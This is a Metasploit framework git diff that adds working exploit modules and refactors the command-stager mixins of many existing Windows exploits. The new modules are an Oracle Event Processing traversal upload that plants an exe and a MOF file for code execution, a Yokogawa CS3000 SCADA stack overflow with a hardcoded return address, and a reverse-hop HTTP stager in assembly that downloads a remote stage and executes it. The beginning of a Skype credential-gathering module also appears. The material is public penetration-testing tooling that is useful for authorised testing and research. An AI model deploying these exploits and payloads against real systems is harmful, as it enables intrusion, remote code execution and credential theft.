vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2424'], + ['ZDI', '14-106'], + ['BID', '66871'], + ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 21 2014')) + + register_options( + [ + Opt::RPORT(9002), + # By default, uploads are stored in: + # C:\Oracle\Middleware\user_projects\domains\\defaultserver\upload\ + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class) + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") + post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'uri' => '/wlevs/visualizer/upload', + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => data + }) + + res + end + + def traversal + "../" * datastore['DEPTH'] + end + + def exploit + print_status("#{peer} - Generating payload and mof file...") + mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" + exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" + exe_content = generate_payload_exe + mof_content = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Uploading the exe payload #{exe_name}...") + exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" + res = upload(exe_traversal, exe_content) + + unless res && res.code == 200 && res.body.blank? + print_error("#{peer} - Unexpected answer, trying anyway...") + end + register_file_for_cleanup(exe_name) + + print_status("#{peer} - Uploading the MOF file #{mof_name}") + mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" + upload(mof_traversal, mof_content) + register_file_for_cleanup("wbem/mof/good/#{mof_name}") + end + + def check + res = send_request_cgi({ + 'uri' => '/ohw/help/state', + 'method' => 'GET', + 'vars_get' => { + 'navSetId' => 'cepvi', + 'navId' => '0', + 'destination' => '' + } + }) + + if res && res.code == 200 + if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") + return Exploit::CheckCode::Detected + elsif res.body.to_s.include?("Oracle Event Processing 12") + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown + end + +end diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 4b4422ebd1..5a187fddaf 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Jul 13 2010', @@ -53,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 21ff043ae7..0a98a50b74 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false )) diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index e613bfaf7d..3872890e0e 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: This cannot be an HttpClient module since the response from the server # is not a valid HttpResponse include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ] ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2001' )) @@ -191,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote end # Use the CMD stager to get a payload running - execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname}) # Save these file names for later deletion @exe_cmd_copy = exe_fname diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 7b517fcc5b..7b5b251016 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize super( @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 17 1998' ) diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index 0709852f0b..89b2bf9e32 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -32,11 +32,9 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape', 'Description' => %q{ - This module abuses a process creation policy in the Internet Explorer Sandbox which allows - to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem - exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity - Level. Further interaction with the component allows to escape the Enhanced Protected Mode - and execute arbitrary code with Medium Integrity. + This module abuses a process creation policy in Internet Explorer's sandbox, specifically + in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the + Enhanced Protected Mode, and execute code with Medium Integrity. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 7d62ff1bee..2e33ec7f33 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def execute_command(cmd, opts = {}) @@ -159,7 +159,7 @@ Processor-Speed=#{processor_speed} # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) + execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp}) end def on_new_session(client) diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index b0e0256094..a8f93dd1e1 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) - ], - self.class) + ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion - execute_cmdstager({:linemax => 7500}) + execute_cmdstager({:flavor => :vbs, :linemax => 7500}) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "") diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index cb0b1612b3..a16ea8cf0b 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0 )) diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 12d74503a5..3af30dea49 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite #include Msf::Exploit::CmdStagerTFTP @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 687cf8c45d..2ef04fea0b 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index 6a03777b27..a903edde07 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -9,43 +9,44 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, - 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', - 'Description' => %q{ - This module creates and enables a custom UDF (user defined function) on the - target host via the SELECT ... into DUMPFILE method of binary injection. On - default Microsoft Windows installations of MySQL (=< 5.5.9), directory write - permissions not enforced, and the MySQL service runs as LocalSystem. + 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the SELECT ... into DUMPFILE method of binary injection. On + default Microsoft Windows installations of MySQL (=< 5.5.9), directory write + permissions not enforced, and the MySQL service runs as LocalSystem. - NOTE: This module will leave a payload executable on the target system when the - attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() - and sys_exec() functions. - }, - 'Author' => - [ - 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries - 'todb' # this Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - # Bernardo's work with cmd exec via udf - [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], - # Advice from 2005 on securing MySQL on Windows, kind of helpful. - [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() + and sys_exec() functions. + }, + 'Author' => + [ + 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + # Bernardo's work with cmd exec via udf + [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], + # Advice from 2005 on securing MySQL on Windows, kind of helpful. + [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index d3d7ad12e5..31f2508060 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module has been tested on Oracle 10g Release 1 # where the Oracle Job Scheduler runs as SYSTEM on Windows 'Targets' => [['Automatic',{}]], + 'CmdStagerFlavor' => 'vbs', 'Privileged' => true, 'DisclosureDate' => 'Jan 01 2007', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index af8ddc5df0..e51cb583b6 100644 --- a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'ABB MicroSCADA Pro SYS600 9.3', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 05 2013' diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb new file mode 100644 index 0000000000..90a1155783 --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create + logs using functions like vsprintf and memcpy in a insecure way. This module has been + tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. + }, + 'Author' => + [ + 'Redsadic ', + 'juan vazquez' + ], + 'References' => + [ + ['CVE', '2014-3888'], + ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] + ], + 'Payload' => + { + 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', + { + 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll + 'Offset' => 438 + } + ], + ], + 'DisclosureDate' => 'May 23 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20010) + ], self.class) + end + + def exploit + connect_udp + + sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header + sploit << rand_text(target['Offset']) + sploit << [target.ret].pack("V") + sploit << payload.encoded + + print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") + udp_sock.put(sploit) + + disconnect_udp + end + +end + diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index d768e8b5d2..305855e131 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses - that method. Otherwise it falls back to the VBS Cmdstager which is + that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/smart_migrate', + 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep") }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]), ], self.class ) - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]), - ], self.class) + deregister_options('CMDSTAGER::FLAVOR') @compat_mode = false end @@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote return if path.nil? exec_script(path) else - execute_cmdstager + execute_cmdstager({:flavor => :vbs}) end handler end diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb new file mode 100644 index 0000000000..a6f598c890 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -0,0 +1,291 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' +require 'msf/core/handler/reverse_hop_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+ + "the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+ + "to the HTTP server you wish to use as a hop)", + 'Author' => + [ + 'scriptjunkie ', + 'hdm' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Stager' => + { + 'Offsets' => + { + # None, they get embedded in the shellcode + } + } + )) + + deregister_options('LHOST', 'LPORT') + + register_options([ + OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] + ) + ], self.class) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTP + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + uri = URI(datastore['HOPURL']) + #create actual payload + payload_data = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + +; actual routine +start: + pop ebp ; get ptr to block_api routine + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{uri.port} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz allocate_memory + +try_it_again: + dec ebx + jz failure + jmp.i8 httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + call internetconnect + +server_host: +db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00 + +EOS + self.module_info['Stager']['Assembly'] = payload_data.to_s + super + end +end diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb new file mode 100644 index 0000000000..bd14ca2b88 --- /dev/null +++ b/modules/post/windows/gather/credentials/skype.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + 